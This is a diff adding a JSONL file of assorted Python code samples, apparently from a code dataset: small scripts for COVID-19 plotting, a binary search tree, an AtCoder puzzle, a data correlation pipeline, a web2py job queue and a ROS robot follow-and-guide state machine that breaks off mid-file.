diff --git "a/5096.jsonl" "b/5096.jsonl" new file mode 100644--- /dev/null +++ "b/5096.jsonl" @@ -0,0 +1,667 @@ +{"seq_id":"511431755","text":"import sys\n\norigfilename = sys.argv[1]\nappfilename = sys.argv[2]\n\nof = open(origfilename, 'a')\naf = open(appfilename, 'r')\n\ndict = {}\n\nfor line in af:\n print(line)\n of.write(line)\n\nof.close\naf.close\n","sub_path":"dictionary/scripts/appendFiles.py","file_name":"appendFiles.py","file_ext":"py","file_size_in_byte":205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"473956179","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[68]:\n\n\n#!/usr/bin/env python\n# coding: utf-8\n\n# ### Covid-19 World Health Organisation data\n# - live data update day to day basis\n# - covid spreadness in world\n\n# ##### import libraries\n# - required libraries pandas, numpy\n# - matplotlib, seaborn\n# In[139]:\n\n\n#import libraries\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\nfrom datetime import date\nimport matplotlib.pyplot as plt\n#import plotly.express as px\nget_ipython().run_line_magic('matplotlib', 'inline')\n\n\n# #### load the data from WHO Website\n# -go to [WHO.int](https://covid19.who.int/)\n\n# In[140]:\n\n\nurl = \"https://covid19.who.int/WHO-COVID-19-global-data.csv\"\ndf = pd.read_csv(url)\n\n#first 5 row\nprint(df.head())\ndf.shape\n\n\n# In[141]:\n\n\n#remove the white space before the column name\ndf.columns = df.columns.str.strip()\ndf.columns\n\n\n# In[142]:\n\n\ndf.describe()\n\n\n# In[143]:\n\n\n#sort the data frame to know the highe affected country\nhigh_cumulative_case = df.groupby('Country').max()['Cumulative_cases'].sort_values()\nhigh_cumulative_case.sort_values(inplace=True, ascending=False)\nmost_affected = high_cumulative_case[:5]\nmost_affected\n\n# In[145]:\n\n\n#split month to grouping\ndf[['Year','Month','Day']] = df.Date_reported.str.split(\"-\",expand=True,)\n\n\n# In[146]:\n\n\ndf.columns\n\n\n# In[147]:\n\n\n#india graph\nIndia_covid_case = df[(df['Country'] == 'India')]\n\n# In[148]:\n\n\nplot_data = df[['Country', 'New_cases',\n 'Cumulative_cases', 'New_deaths', 'Cumulative_deaths','Month']]\n\nmy_labels = most_affected.index.tolist() \nmy_data = most_affected.values.tolist()\nplt.pie(my_data,labels=my_labels,autopct='%1.1f%%')\nplt.title('hige affected Country wise covid distribution')\nplt.axis('equal')\nplt.show()\n\n\n# # #### NEW CASES GRAPH\n\n# # In[154]:\n\nsns.lineplot(data=India_covid_case, x='Month', y='New_cases')\nplt.title(\"India_covid New case monthly\", size=12)\nplt.show()\n\n# # #### NEW DEATHS GRAPH\n\n# # In[150]:\n\n\nsns.lineplot(data=India_covid_case, x='Month', y='New_deaths')\nplt.title(\"India_covid New death monthly\", size=12)\nplt.show()\n\n\n# #### Cumulative_cases GRAPH\n\n# In[151]:\n\n\nsns.lineplot(data=India_covid_case, x='Month', y='Cumulative_cases')\nplt.title(\"India_covid Cumulative_cases monthly\", size=12)\nplt.show()\n\n\n# #### Cumulative_deaths GRAPH\n\n# In[152]:\n\n\nsns.lineplot(data=India_covid_case, x='Month', y='Cumulative_deaths')\nplt.title(\"India_covid Cumulative_deaths monthly\", size=12)\nplt.show()\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"covid visualisation 23 nov.py","file_name":"covid visualisation 23 nov.py","file_ext":"py","file_size_in_byte":2446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"261542040","text":"# --------------------------------------------------------------------------------------------\n# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License. See License.txt in the project root for license information.\n# --------------------------------------------------------------------------------------------\n# Generated file, DO NOT EDIT\n# Changes may cause incorrect behavior and will be lost if the code is regenerated.\n# --------------------------------------------------------------------------------------------\n\nfrom msrest.serialization import Model\n\n\nclass ReviewsResult(Model):\n \"\"\"ReviewsResult.\n\n :param has_more_reviews: Flag indicating if there are more reviews to be shown (for paging)\n :type has_more_reviews: bool\n :param reviews: List of reviews\n :type reviews: list of :class:`Review `\n :param total_review_count: Count of total review items\n :type total_review_count: long\n \"\"\"\n\n _attribute_map = {\n 'has_more_reviews': {'key': 'hasMoreReviews', 'type': 'bool'},\n 'reviews': {'key': 'reviews', 'type': '[Review]'},\n 'total_review_count': {'key': 'totalReviewCount', 'type': 'long'}\n }\n\n def __init__(self, has_more_reviews=None, reviews=None, total_review_count=None):\n super(ReviewsResult, self).__init__()\n self.has_more_reviews = has_more_reviews\n self.reviews = reviews\n self.total_review_count = total_review_count\n","sub_path":"vsts/vsts/gallery/v4_0/models/reviews_result.py","file_name":"reviews_result.py","file_ext":"py","file_size_in_byte":1486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"490451642","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jan 11 20:48:34 2020\n\n@author: masat\n\"\"\"\n\nN = int(input())\na_list = list(map(int, input().split()))\n\nresult_list = []\ni = 1\nwhile i <= N:#result_listの最初の文字\n result_list.append(i)\n k = 1\n total_flag = False\n while k <= N:#k文字目を探す。\n j = 1\n flag = False#\n while j <= N:#最初の文字がiである結果のk文字目としてjをためす。\n print(result_list)\n if (j != a_list[result_list[-1]-1]) and (j not in result_list):\n result_list.append(j)\n flag = True\n break\n else:\n j += 1\n if flag:\n if k == N:\n total_flag = True\n break\n else:\n k += 1\n else:\n break\n if total_flag:\n break\n else:\n result_list = []\n i += 1\n\nif total_flag:\n print(\" \".join(result_list))\nelse:\n print(\"-1\")\n \n","sub_path":"AtCoder_Python3/dwacon6th/dwacon6th_D_HH1.py","file_name":"dwacon6th_D_HH1.py","file_ext":"py","file_size_in_byte":1005,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"366835936","text":"\"\"\"\nCreated on Aug 13, 2017\n\n@author: Evan Burton\n\n################################################\n# Binary Trees #\n################################################\n\nFor unsorted array:\n We want insert in O(1) without check\n check costs O(n)\n\nFor sorted array:\n Find insertion point in log(n)\n - Use binary search to find the minimum\n index i such that R[i] >= t\n Compare in O(1)\n - Compare R[i] and R[i-1] against t in O(1)\n Want fast insert \n - Insertion requires shifting which is O(n)\n \nWith a sorted list we get:\n\n [a] -> [b] -> [c] -> [d]\n \n but no random access guaranteed\n \nThe BST:\n\n 30\n 17 40\n 14 20 \n \nDetermined by Nodes, keys, and pointers to next nodes.\n\n################################################\n# BST Invariant #\n################################################\n\nFor all nodes x, \n - if y is in the left subtree of x\n then key(y) <= key(x)\n - if y is in the right subtree of x\n then key(y) >= key(x)\n\nInsertion:\n\n Insert 49 49\n Insert 79 46 79\n Insert 46 41 55\n Insert 41\n \nIf h is the height of the tree, then insertion with check\nis done in O(h) time.\n\n\"\"\"\n\nclass Node():\n def __init__(self, key):\n self.key = key\n self.left = None\n self.right = None\n self.parent = None\n def __str__(self):\n return str(self.key)\n\n# A binary search tree which keeps track of children and its parent.\nclass BST():\n def __init__(self, keys):\n self.root = Node(keys.pop(0))\n self.extend(keys)\n \n # Create a new node with given key and put into BST. \n def add(self, key):\n node = Node(key)\n self.insert(node)\n \n # Insert a node into tree\n def insert(self, other):\n \n node = self.root\n \n while node != None:\n if other.key <= node.key:\n if node.left is None:\n node.left = other\n node.left.parent = node\n return\n else:\n node = node.left\n else:\n if node.right is None:\n node.right = other\n node.right.parent = node\n return\n else:\n node = node.right\n \n # Returns the node with specified key or None if it\n # does not exist\n def find(self, key):\n \n node = self.root\n \n while node != None:\n \n if key == node.key:\n return node\n elif key < node.key:\n if node.left is None:\n return None\n else:\n node = node.left\n else:\n if node.right is None:\n return None\n else:\n node = node.right \n \n # Deletes a node with given key if it exists \n def delete(self, key):\n \n # Look for value\n node = self.find(key)\n \n # Key isn't in tree\n if node is None:\n return\n else:\n \n if node.left and node.right:\n \n min = node.right\n \n # Find min replacement\n while min.left != None:\n min = min.left\n \n # Swap keys and delete\n node.key = min.key\n parent = min.parent\n parent.left = None\n else:\n parent = node.parent\n # Find which node this is and delete + relink\n if parent.right is node:\n parent.right = node.right or node.left\n (node.right or node.left ).parent = parent\n else: \n parent.left = node.right or node.left\n (node.right or node.left ).parent = parent\n\n # Adds the elements of the list to the BST\n def extend(self, list):\n \n for x in list:\n self.add(x)\n\n # Computes the number of keys less than or equal to given key\n # starting from the subtree rooted at node.\n def lte_count(self, key, node):\n \n if node is None:\n return 0\n \n elif node.key <= key:\n return 1+self.lte_count(key, node.left) + self.lte_count(key, node.right)\n else:\n return 0\n\n # BST Sort\n def sort(self):\n return self.sort_recur(self.root)\n \n # Recursively find [left nodes] + [node.key] + [right nodes] which will\n # guarantee sortedness because of BST invariant.\n def sort_recur(self, node):\n \n if node is None:\n return []\n\n return self.sort_recur(node.left) +[node.key] + self.sort_recur(node.right)\n \n\nbst = BST([49, 1000, 46, 79, 41, 55, 66, 643, 12, 111, 12, 1234])\na = bst.sort()\nprint(a)\n\n","sub_path":"Binary Search Trees and BST Sort/bst_search_and_sort.py","file_name":"bst_search_and_sort.py","file_ext":"py","file_size_in_byte":5044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"209689110","text":"import os, pathlib, json\n\n\"\"\"\nopen array\nif array contains any \"directory\" nodes open those nodes\nIf no directory nodes encountered, then take all those files, put as content of parent folder. Do the metadata crap for the folder itself not for individual files.\n\n\nOpen array\nGo through nodes\nif has key with value \"directroy\" then open that directory\nif no directory then add to \"files\" array.\nAdd metadata to file description, repeat for all files in array\n\nOpen array\nGo through nodes\nIf node has no directories in it\nadd to array called terminal_nodes\nif empty add a value to the node 'is_empty':true\n\n\n\"\"\"\nfilter_sizes = []\nmeta_tags_first = []\nmeta_tags_second = []\n\nmarine_layers = []\n\ndef split_into_lists(dir_meta):\n \n for entry in dir_meta:\n if entry[\"filter_size\"] not in filter_sizes:\n filter_sizes.append(entry[\"filter_size\"])\n if entry[\"layer\"] not in marine_layers:\n marine_layers.append(entry[\"layer\"])\n if len(entry[\"tags\"]) == 2:\n if entry[\"tags\"][0] not in meta_tags_first:\n meta_tags_first.append(entry[\"tags\"][0])\n if entry[\"tags\"][1] not in meta_tags_second:\n meta_tags_second.append(entry[\"tags\"][1])\n \n \n\ndef main():\n with open('files_tara_terminal.json', 'r') as f:\n files_dict = json.load(f)\n split_into_lists(files_dict)\n \n with open('filter_sizes.json', 'w') as json_file: \n json.dump(filter_sizes, json_file)\n with open('meta_tags_first.json', 'w') as json_file: \n json.dump(meta_tags_first, json_file)\n with open('meta_tags_second.json', 'w') as json_file: \n json.dump(meta_tags_second, json_file)\n with open('marine_layers.json', 'w') as json_file: \n json.dump(marine_layers, json_file)\n\n\nif __name__ == '__main__':\n\n main()\n","sub_path":"create_list_data.py","file_name":"create_list_data.py","file_ext":"py","file_size_in_byte":1828,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"476288307","text":"import urllib.request\nimport json\nimport dml\nimport prov.model\nimport datetime\nimport uuid\n\nfrom random import shuffle\nfrom math import sqrt\n\nclass correlation(dml.Algorithm):\n contributor = 'alyu_sharontj_yuxiao_yzhang11'\n reads = ['alyu_sharontj_yuxiao_yzhang11.education_rent',\n 'alyu_sharontj_yuxiao_yzhang11.garden_vs_rent',\n 'alyu_sharontj_yuxiao_yzhang11.Fire_Hospital_vs_Rent',\n 'alyu_sharontj_yuxiao_yzhang11.education_trans_avg']\n writes = ['alyu_sharontj_yuxiao_yzhang11.correlation']\n\n @staticmethod\n def execute(trial=False):\n '''Retrieve some data sets (not using the API here for the sake of simplicity).'''\n startTime = datetime.datetime.now()\n\n # Set up the database connection.\n client = dml.pymongo.MongoClient()\n repo = client.repo\n repo.authenticate('alyu_sharontj_yuxiao_yzhang11', 'alyu_sharontj_yuxiao_yzhang11')\n\n\n\n fire_hosp_rent = repo['alyu_sharontj_yuxiao_yzhang11.Fire_Hospital_vs_Rent'].find()\n garden_rent = repo['alyu_sharontj_yuxiao_yzhang11.garden_vs_rent'].find()\n edu_rent = repo['alyu_sharontj_yuxiao_yzhang11.education_rent'].find()\n edu_trans = repo['alyu_sharontj_yuxiao_yzhang11.education_trans_avg'].find()\n\n def permute(x):\n shuffled = [xi for xi in x]\n shuffle(shuffled)\n return shuffled\n\n def avg(x): # Average\n return sum(x) / len(x)\n\n def stddev(x): # Standard deviation.\n m = avg(x)\n return sqrt(sum([(xi - m) ** 2 for xi in x]) / len(x))\n\n def cov(x, y): # Covariance.\n return sum([(xi - avg(x)) * (yi - avg(y)) for (xi, yi) in zip(x, y)]) / len(x)\n\n def corr(x, y): # Correlation coefficient.\n if stddev(x) * stddev(y) != 0:\n return cov(x, y) / (stddev(x) * stddev(y))\n\n x1 = []\n y1 = []\n corr_fire_hosp_rent = 0\n for i in fire_hosp_rent:\n\n x1 += [i[\"fire/hospital\"]]\n y1 += [i[\"average rent\"]]\n\n corr_fire_hosp_rent = corr(x1, y1)\n # print(\"corr fire hosp rent\", corr_fire_hosp_rent)\n\n x2 = []\n y2 = []\n for i in garden_rent:\n x2 += [i[\"garden_count\"]]\n y2 += [i[\"Average\"]]\n\n corr_garden_rent = 0\n # print(\"garden vs rent\")\n\n corr_garden_rent = corr(x2,y2)\n # print(corr_garden_rent)\n\n x3 = []\n y3 = []\n corr_edu_rent = 0\n for i in edu_rent:\n x3 += [i[\"edu_count\"]]\n y3 += [i[\"rent\"]]\n\n corr_edu_rent = corr(x3,y3)\n # print(\"corr edu rent \", corr_edu_rent)\n # print()\n\n x4 = []\n y4 = []\n corr_edu_trans = 0\n for i in edu_trans:\n x4 += [i[\"school_count\"]]\n y4 += [i[\"trans_avg\"]]\n\n corr_edu_trans = corr(x4, y4)\n corr_rent_trans = corr_edu_rent * corr_edu_trans\n # print(\"corr edu trans \", corr_edu_trans)\n # print(\"corr rent trans \", corr_rent_trans)\n # print()\n\n c_sum = (-corr_fire_hosp_rent+corr_edu_rent+corr_garden_rent+corr_rent_trans)*2\n weight_fire_hosp_rent = -corr_fire_hosp_rent/c_sum\n weight_edu_rent = corr_edu_rent/c_sum\n weight_garden_rent = corr_garden_rent/c_sum\n weight_trans_rent = corr_rent_trans/ c_sum\n # print()\n\n edu_rent = {}\n edu_rent[\"name\"] = \"edu_rent\"\n edu_rent[\"correlation\"] = corr_edu_rent\n edu_rent[\"weight\"] = weight_edu_rent\n\n repo.dropCollection(\"correlation\") #name of the data link: e.g. station_links\n repo.createCollection(\"correlation\")\n\n repo['alyu_sharontj_yuxiao_yzhang11.correlation'].insert(edu_rent)\n\n fire_h_rent = {}\n fire_h_rent[\"name\"] = \"fire/hospital_rent\"\n fire_h_rent[\"correlation\"] = corr_fire_hosp_rent\n fire_h_rent[\"weight\"] = weight_fire_hosp_rent\n\n repo['alyu_sharontj_yuxiao_yzhang11.correlation'].insert(fire_h_rent)\n\n gard_rent = {}\n gard_rent[\"name\"] = \"garden_rent\"\n gard_rent[\"correlation\"] = corr_garden_rent\n gard_rent[\"weight\"] = weight_garden_rent\n\n repo['alyu_sharontj_yuxiao_yzhang11.correlation'].insert(gard_rent)\n\n trans_rent = {}\n trans_rent[\"name\"] = \"trans_rent\"\n trans_rent[\"correlation\"] = corr_rent_trans\n trans_rent[\"weight\"] = weight_trans_rent\n\n repo['alyu_sharontj_yuxiao_yzhang11.correlation'].insert(trans_rent)\n\n\n endTime = datetime.datetime.now()\n\n return {\"start\": startTime, \"end\": endTime}\n\n @staticmethod\n def provenance(doc = prov.model.ProvDocument(), startTime = None, endTime = None):\n '''\n Create the provenance document describing everything happening\n in this script. Each run of the script will generate a new\n document describing that invocation event.\n '''\n\n\n client = dml.pymongo.MongoClient()\n repo = client.repo\n repo.authenticate('alyu_sharontj_yuxiao_yzhang11', 'alyu_sharontj_yuxiao_yzhang11')\n\n doc.add_namespace('alg',\n 'http://datamechanics.io/algorithm/') # The scripts are in # format.\n doc.add_namespace('dat',\n 'http://datamechanics.io/data/') # The data sets are in # format.\n doc.add_namespace('ont',\n 'http://datamechanics.io/ontology#') # 'Extension', 'DataResource', 'DataSet', 'Retrieval', 'Query', or 'Computation'.\n doc.add_namespace('log', 'http://datamechanics.io/log/') # The event log.\n\n this_script = doc.agent('alg:alyu_sharontj_yuxiao_yzhang11#correlation',\n {prov.model.PROV_TYPE: prov.model.PROV['SoftwareAgent'], 'ont:Extension': 'py'})\n\n fire_h_rent_input = doc.entity('dat:alyu_sharontj_yuxiao_yzhang11#Fire_Hospital_vs_Rent',\n {prov.model.PROV_LABEL: 'Fire_Hospital_vs_Rent',\n prov.model.PROV_TYPE: 'ont:DataSet'})\n\n garden_rent_input = doc.entity('dat:alyu_sharontj_yuxiao_yzhang11#garden_vs_rent',\n {prov.model.PROV_LABEL: 'garden_vs_rent',\n prov.model.PROV_TYPE: 'ont:DataSet'})\n\n edu_rent_input = doc.entity('dat:alyu_sharontj_yuxiao_yzhang11#education_rent',\n {prov.model.PROV_LABEL: 'education_rent',\n prov.model.PROV_TYPE: 'ont:DataSet'})\n\n\n\n this_run = doc.activity('log:uuid' + str(uuid.uuid4()), startTime,\n endTime) # , 'ont:Query':'?type=Animal+Found&$select=type,latitude,longitude,OPEN_DT'})\n\n output = doc.entity('dat:alyu_sharontj_yuxiao_yzhang11#correlation',\n {prov.model.PROV_LABEL: 'correlation',\n prov.model.PROV_TYPE: 'ont:DataSet'})\n\n doc.wasAssociatedWith(this_run, this_script)\n doc.used(this_run, fire_h_rent_input, startTime)\n doc.used(this_run, garden_rent_input, startTime)\n doc.used(this_run, edu_rent_input, startTime)\n\n doc.wasAttributedTo(output, this_script)\n doc.wasGeneratedBy(output, this_run, endTime)\n doc.wasDerivedFrom(output, fire_h_rent_input, this_run, this_run, this_run)\n doc.wasDerivedFrom(output, garden_rent_input, this_run, this_run, this_run)\n doc.wasDerivedFrom(output, edu_rent_input, this_run, this_run, this_run)\n repo.logout()\n\n return doc\n\n# correlation.execute()\n# doc = correlation.provenance()\n# print(doc.get_provn())\n# print(json.dumps(json.loads(doc.serialize()), indent=4))\n\n# eof\n","sub_path":"course-2018-spr-proj2/alyu_sharontj_yuxiao_yzhang11/correlation.py","file_name":"correlation.py","file_ext":"py","file_size_in_byte":7768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"298620360","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nqueue_job.py\n\nQueue a job.\n\n\"\"\"\n# W0404: *Reimport %r (imported line %s)*\n# pylint: disable=W0404\nfrom applications.shared.modules.job_queue import Job, trigger_queue_handler\nfrom gluon.shell import env\nfrom optparse import OptionParser\nimport gluon.main # Sets up logging\nimport logging\nimport time\n\nVERSION = '0.1'\nAPP_ENV = env(__file__.split('/')[-4], import_models=True)\nDB = APP_ENV['db']\n\nLOG = logging.getLogger('app')\n\n\ndef job_add(job_d):\n \"\"\"Add job to queue.\n\n Args:\n job_d: dict, dictionary defining job fields.\n job_d = {\n 'command': '/path/to/script.py',\n 'start': 'YYYY-MM-DD HH:MM:SS',\n 'priority': 1,\n }\n \"\"\"\n return Job(DB.job, **job_d).add()\n\n\n@trigger_queue_handler(APP_ENV['request'])\ndef job_add_trigger(job_d):\n \"\"\"Add job to queue.\n\n This function is a decorated version of job_add()\n \"\"\"\n return Job(DB.job, **job_d).add()\n\n\ndef main():\n \"\"\"Main processing.\"\"\"\n\n usage = '%prog [options] command' + '\\nVersion: %s' % VERSION\n parser = OptionParser(usage=usage)\n\n now = time.strftime('%F %T', time.localtime())\n\n parser.add_option('-p', '--priority', type='int',\n dest='priority', default=0,\n help='job priority, default: 0',\n )\n parser.add_option('-s', '--start',\n dest='start', default=now,\n help='job start time, default: now',\n )\n parser.add_option('-t', '--trigger',\n action='store_true',\n dest='trigger', default=False,\n help='Trigger queue handler.',\n )\n parser.add_option('-v', '--verbose',\n action='store_true',\n dest='verbose',\n default=False,\n help='print messages to stdout',\n )\n\n (options, args) = parser.parse_args()\n\n if options.verbose:\n # Add a stream handler to print messages to stderr.\n ch = logging.StreamHandler()\n ch.setLevel(logging.DEBUG)\n formatter = logging.Formatter('%(levelname)s - %(message)s')\n ch.setFormatter(formatter)\n LOG.addHandler(ch)\n\n if len(args) != 1:\n parser.print_help()\n exit(1)\n\n job_d = {\n 'command': ' '.join(args),\n 'start': options.start,\n 'priority': options.priority,\n }\n\n if options.trigger:\n job = job_add_trigger(job_d)\n else:\n job = job_add(job_d)\n\n LOG.info(\"Created job id: {id}\".format(id=job.id))\n\nif __name__ == '__main__':\n main()\n","sub_path":"private/bin/queue_job.py","file_name":"queue_job.py","file_ext":"py","file_size_in_byte":2529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"273588603","text":"#!/usr/bin/env python\n\nimport rospy\nimport smach\nfrom actionlib import SimpleActionClient\nfrom move_base_msgs.msg import MoveBaseAction, MoveBaseGoal\nfrom actionlib_msgs.msg import GoalStatus\nfrom std_msgs.msg import String, Float64, Bool, UInt8\nfrom geometry_msgs.msg import PoseStamped\nfrom wm_people_follower.srv import peopleFollower, peopleFollowerRequest, peopleFollowerResponse\nfrom tf2_ros import Buffer, TransformListener\nimport wm_supervisor.srv\nimport threading\nfrom math import sqrt\n\nGREEN_FACE = 3\nYELLOW_FACE = 4\nRED_FACE = 5\n\n\nclass InitState(smach.State):\n def __init__(self):\n smach.State.__init__(self, outcomes=['init_done'])\n self.tts_pub = rospy.Publisher('sara_tts', String, queue_size=1, latch=True)\n self.neck_pub = rospy.Publisher('neckHead_controller/command', Float64, queue_size=1, latch=True)\n self.face_cmd = rospy.Publisher('/face_mode', UInt8, queue_size=1, latch=True)\n\n def execute(self, ud):\n\n self.face_cmd.publish(GREEN_FACE)\n\n neck_cmd = Float64()\n\n neck_cmd.data = -2.0\n self.neck_pub.publish(neck_cmd)\n rospy.sleep(rospy.Duration(2))\n neck_cmd.data = 0.0\n self.neck_pub.publish(neck_cmd)\n\n tts_msg = String()\n tts_msg.data = \"I am ready to begin the following and guiding test.\"\n self.tts_pub.publish(tts_msg)\n\n return 'init_done'\n\n\nclass WaitForStart(smach.State):\n def __init__(self):\n smach.State.__init__(self, outcomes=['start_cmd_received'])\n self.start_button_sub = rospy.Subscriber('start_button_msg', Bool, self.start_button_cb, queue_size=4)\n self.voice_recognizer_sub = rospy.Subscriber('output', String, self.voice_recognizer_cb, queue_size=4)\n\n self.mutex = threading.Lock()\n self.proceed = False\n\n def voice_recognizer_cb(self, msg):\n\n self.mutex.acquire()\n\n if msg.data.lower().find('sara') != -1 or msg.data.lower().find('sarah') != -1:\n if msg.data.find('begin') != -1 or msg.data.find('start'):\n self.proceed = True\n\n self.mutex.release()\n\n return\n\n def start_button_cb(self, msg):\n\n self.mutex.acquire()\n\n if msg.data:\n self.proceed = True\n\n self.mutex.release()\n\n return\n\n def execute(self, ud):\n rospy.logdebug(\"Entered 'WAIT_FOR_START' state.\")\n\n while True:\n self.mutex.acquire()\n\n if self.proceed:\n self.mutex.release()\n break\n\n self.mutex.release()\n rospy.sleep(rospy.Duration(1))\n\n return 'start_cmd_received'\n\n\nclass TellInstructions(smach.State):\n def __init__(self):\n smach.State.__init__(self, outcomes=['target_locked'])\n\n # TODO\n self.tts_pub = rospy.Publisher('sara_tts', String, queue_size=1, latch=True)\n self.people_follower_srv = rospy.ServiceProxy('wm_people_follow', peopleFollower)\n\n def execute(self, ud):\n rospy.logdebug(\"Entered 'TELL_INSTRUCTIONS' state.\")\n\n # TODO\n\n tts_msg = String()\n tts_msg.data = \"Hello, my name is SARA. I will follow you to the next waypoint once I am ready.\"\n self.tts_pub.publish(tts_msg)\n tts_msg.data = \"Please stand still, approximately 1 meter in front of me, facing me, while I memorize your features.\"\n self.tts_pub.publish(tts_msg)\n rospy.sleep(5.0)\n\n loop_again = True\n\n while loop_again:\n try:\n res = self.people_follower_srv.call(request=peopleFollowerRequest.ACQUIRE_TARGET)\n if res.response == peopleFollowerResponse.SUCCESS:\n loop_again = False\n else:\n tts_msg.data = \"I was not able to get your features. Please stand still, approximately 1 meter in front of me, facing me.\"\n self.tts_pub.publish(tts_msg)\n\n except rospy.ServiceException:\n rospy.sleep(rospy.Duration(8))\n pass\n\n tts_msg.data = \"When you want me to stop following you, say 'SARA go back home'\"\n self.tts_pub.publish(tts_msg)\n tts_msg.data = \"You must start your instructions by calling my name.\"\n self.tts_pub.publish(tts_msg)\n tts_msg.data = \"I am now ready to follow you.\"\n self.tts_pub.publish(tts_msg)\n\n try:\n self.people_follower_srv.call(request=peopleFollowerRequest.START_FOLLOWING)\n except rospy.ServiceException:\n pass\n\n return 'target_locked'\n\n\nclass MonitorFollowing(smach.State):\n def __init__(self):\n smach.State.__init__(self, outcomes=['stop_following'])\n self.audio_input = rospy.Subscriber('recognizer1/output', String, self.audio_cb)\n self.tts_pub = rospy.Publisher('sara_tts', String, queue_size=1, latch=True)\n self.people_follower_srv = rospy.ServiceProxy('wm_people_follow', peopleFollower)\n\n self.mutex = threading.Lock()\n self.stop_following = False\n\n def audio_cb(self, msg):\n\n self.mutex.acquire()\n\n if msg.data.lower().find('sara') != -1 or msg.data.lower().find('sarah') != -1:\n if msg.data.find('stop') != -1 and msg.data.find('follow') != -1:\n self.stop_following = True\n\n self.mutex.release()\n\n return\n\n def execute(self, ud):\n rospy.logdebug(\"Entered 'MONITOR_FOLLOWING' state.\")\n\n while True:\n self.mutex.acquire()\n\n if self.stop_following:\n self.people_follower_srv.call(request=peopleFollowerRequest.STOP_FOLLOWING)\n self.mutex.release()\n break\n\n self.mutex.release()\n rospy.sleep(rospy.Duration(1))\n\n return 'stop_following'\n\n\nclass AskContinueFollowing(smach.State):\n def __init__(self):\n smach.State.__init__(self, outcomes=['continue_following', 'ask_guiding'])\n self.audio_input = rospy.Subscriber('recognizer1/output', String, self.audio_cb)\n self.tts_pub = rospy.Publisher('sara_tts', String, queue_size=1, latch=True)\n self.people_follower_srv = rospy.ServiceProxy('wm_people_follow', peopleFollower)\n self.face_cmd = rospy.Publisher('/face_mode', UInt8, queue_size=1, latch=True)\n\n self.mutex = threading.Lock()\n\n self.question_asked = False\n\n self.confirmation_received = False\n self.continue_following = False\n\n def audio_cb(self, msg):\n\n self.mutex.acquire()\n\n if self.question_asked:\n if msg.data.lower.find('yes'):\n self.confirmation_received = True\n self.continue_following = True\n elif msg.data.lower.find('no'):\n self.confirmation_received = True\n self.continue_following = False\n else:\n tts_msg = String()\n tts_msg.data = \"I am sorry. I did not understand. Can you please repeat?\"\n self.face_cmd.publish(YELLOW_FACE)\n self.tts_pub.publish(tts_msg)\n\n self.mutex.release()\n\n return\n\n def execute(self, ud):\n\n tts_msg = String()\n tts_msg.data = 'Do you want me to continue following you?'\n self.tts_pub.publish(tts_msg)\n\n self.question_asked = True\n\n return_param = ''\n\n while True:\n self.mutex.acquire()\n if self.confirmation_received:\n if self.continue_following:\n tts_msg.data = \"I will continue following you.\"\n self.tts_pub.publish(tts_msg)\n try:\n self.people_follower_srv.call(request=peopleFollowerRequest.START_FOLLOWING)\n except rospy.ServiceException:\n pass\n return_param = 'continue_following'\n else:\n tts_msg.data = \"I will stop following you.\"\n self.tts_pub.publish(tts_msg)\n return_param = 'ask_guiding'\n\n self.mutex.release()\n break\n self.mutex.release()\n\n return return_param\n\n\nclass AskStartGuiding(smach.State):\n def __init__(self):\n smach.State.__init__(self, outcomes=['start_guiding', 'do_not_guide'])\n self.audio_input = rospy.Subscriber('recognizer1/output', String, self.audio_cb)\n self.tts_pub = rospy.Publisher('sara_tts', String, queue_size=1, latch=True)\n self.people_follower_srv = rospy.ServiceProxy('wm_people_follow', peopleFollower)\n self.face_cmd = rospy.Publisher('/face_mode', UInt8, queue_size=1, latch=True)\n\n self.mutex = threading.Lock()\n\n self.question_asked = False\n\n self.confirmation_received = False\n self.start_guiding = False\n\n def audio_cb(self, msg):\n\n self.mutex.acquire()\n\n if self.question_asked:\n if msg.data.lower.find('yes'):\n self.confirmation_received = True\n self.start_guiding = True\n elif msg.data.lower.find('no'):\n self.confirmation_received = True\n self.start_guiding = False\n else:\n tts_msg = String()\n tts_msg.data = \"I am sorry. I did not understand. Can you please repeat?\"\n self.tts_pub.publish(tts_msg)\n self.face_cmd.publish(YELLOW_FACE)\n\n self.mutex.release()\n\n return\n\n def execute(self, ud):\n\n tts_msg = String()\n tts_msg.data = 'Do you want me to start guiding you back to the arena?'\n self.tts_pub.publish(tts_msg)\n\n self.question_asked = True\n\n return_param = ''\n\n while True:\n self.mutex.acquire()\n if self.confirmation_received:\n if self.start_guiding:\n tts_msg.data = \"I will guide you back to the arena.\"\n self.tts_pub.publish(tts_msg)\n try:\n self.people_follower_srv.call(request=peopleFollowerRequest.RELEASE_TARGET)\n except rospy.ServiceException:\n pass\n return_param = 'start_guiding'\n else:\n return_param = 'do_not_guide'\n\n self.mutex.release()\n break\n self.mutex.release()\n\n return return_param\n\n\nclass StartGuiding(smach.State):\n def __init__(self):\n smach.State.__init__(self, outcomes=['go_back'],\n input_keys=['sg_waypoints'],\n output_keys=['sg_target_wp'])\n self.tts_pub = rospy.Publisher('sara_tts', String, queue_size=1, latch=True)\n self.tf_buffer = Buffer()\n self.tf_listener = TransformListener(self.tf_buffer)\n self.face_cmd = rospy.Publisher('/face_mode', UInt8, queue_size=1, latch=True)\n\n def execute(self, ud):\n\n tts_msg = String()\n\n rospy.sleep(rospy.Duration(5))\n\n self.face_cmd.publish(YELLOW_FACE)\n tts_msg.data = \"I can not guide you back safely. I will go back to the stating location on my own.\"\n self.tts_pub.publish(tts_msg)\n\n 